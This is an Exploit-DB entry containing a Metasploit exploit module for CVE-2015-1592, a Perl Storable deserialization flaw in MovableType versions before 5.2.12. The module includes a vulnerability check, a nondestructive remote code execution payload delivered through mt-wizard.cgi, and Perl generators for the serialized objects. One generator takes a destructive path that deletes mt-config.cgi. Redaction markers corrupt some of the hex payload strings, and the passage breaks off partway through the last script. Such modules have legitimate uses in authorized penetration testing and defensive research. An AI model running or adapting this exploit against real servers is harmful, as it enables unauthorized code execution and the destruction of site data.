Exploit-DB #41697
Description: SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit)
Type: webapps
Platform: linux
Date: 2015-02-11
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
      'Description'    => %q{
          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
      },
      'Author'         =>
        [
          'John Lightsey',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-1592' ],
          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => ' ',
          'Space'       => 1024,
        },
      'Compat'         =>
        {
          'PayloadType' => 'cmd'
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
      ], self.class
    )

  end

=begin
#!/usr/bin/perl
# generate config parameters for injection checks
use Storable;
{
    package XXXCHECKXXX;
    sub STORABLE_thaw {
        return 1;
    }
    sub STORABLE_freeze {
        return 1;
    }
}
my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen = unpack 'H*', $frozen;
print "LFI test for storable flaw is: $frozen\n";
{
    package DateTime;
    use overload '+' => sub { 'ignored' };
}
=end

  def check
    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
        'vars_get' => {
          '__mode' => 'retry',
          'step'   => 'configure',
          'config' => '[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0b[PII_REDACTED]45434b[PII_REDACTED][PII_REDACTED]'
        }
      })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_status("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if datastore['DESTRUCTIVE']
      exploit_destructive
    else
      exploit_nondestructive
    end
  end

=begin
#!/usr/bin/perl
# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.
use Storable;
{
    package Object::MultiType;
    use overload '+' => sub { 'ingored' };
}
{
    package Object::MultiType::Saver;
}
{
    package DateTime;
    use overload '+' => sub { 'ingored' };
}
{
    package Try::Tiny::ScopeGuard;
}
my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
=end

  def exploit_nondestructive
    print_status("Using nondestructive attack method")
    config_payload = "[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]696d[PII_REDACTED][PII_REDACTED]72793a3a54696e793a3a53636f[PII_REDACTED][PII_REDACTED][PII_REDACTED]4f626a6563743a3a4d756c[PII_REDACTED]650411184f626a6563743a3a4d756c[PII_REDACTED]653a3a[PII_REDACTED][PII_REDACTED]0a0b4d543a3a72756e5f[PII_REDACTED]000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a[PII_REDACTED]2f706c61696e5c6e5c6e7d3b[PII_REDACTED]6d28717b"
    config_payload <<  payload.encoded.unpack('H*')[0]
    config_payload << "7d293b"
    config_payload << "23" * (1025 - payload.encoded.length)
    config_payload << "0a657869743b"

    print_status("Sending payload (#{payload.raw.length} bytes)")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => config_payload
      }
    }, 5)
  end

=begin
#!/usr/bin/perl
# Generate destructive config parameter to unlink mt-config.cgi
use Storable;
{
    package CGITempFile;
}
my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";
my $data = [$cgitempfile];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE unlink payload requiring CGI: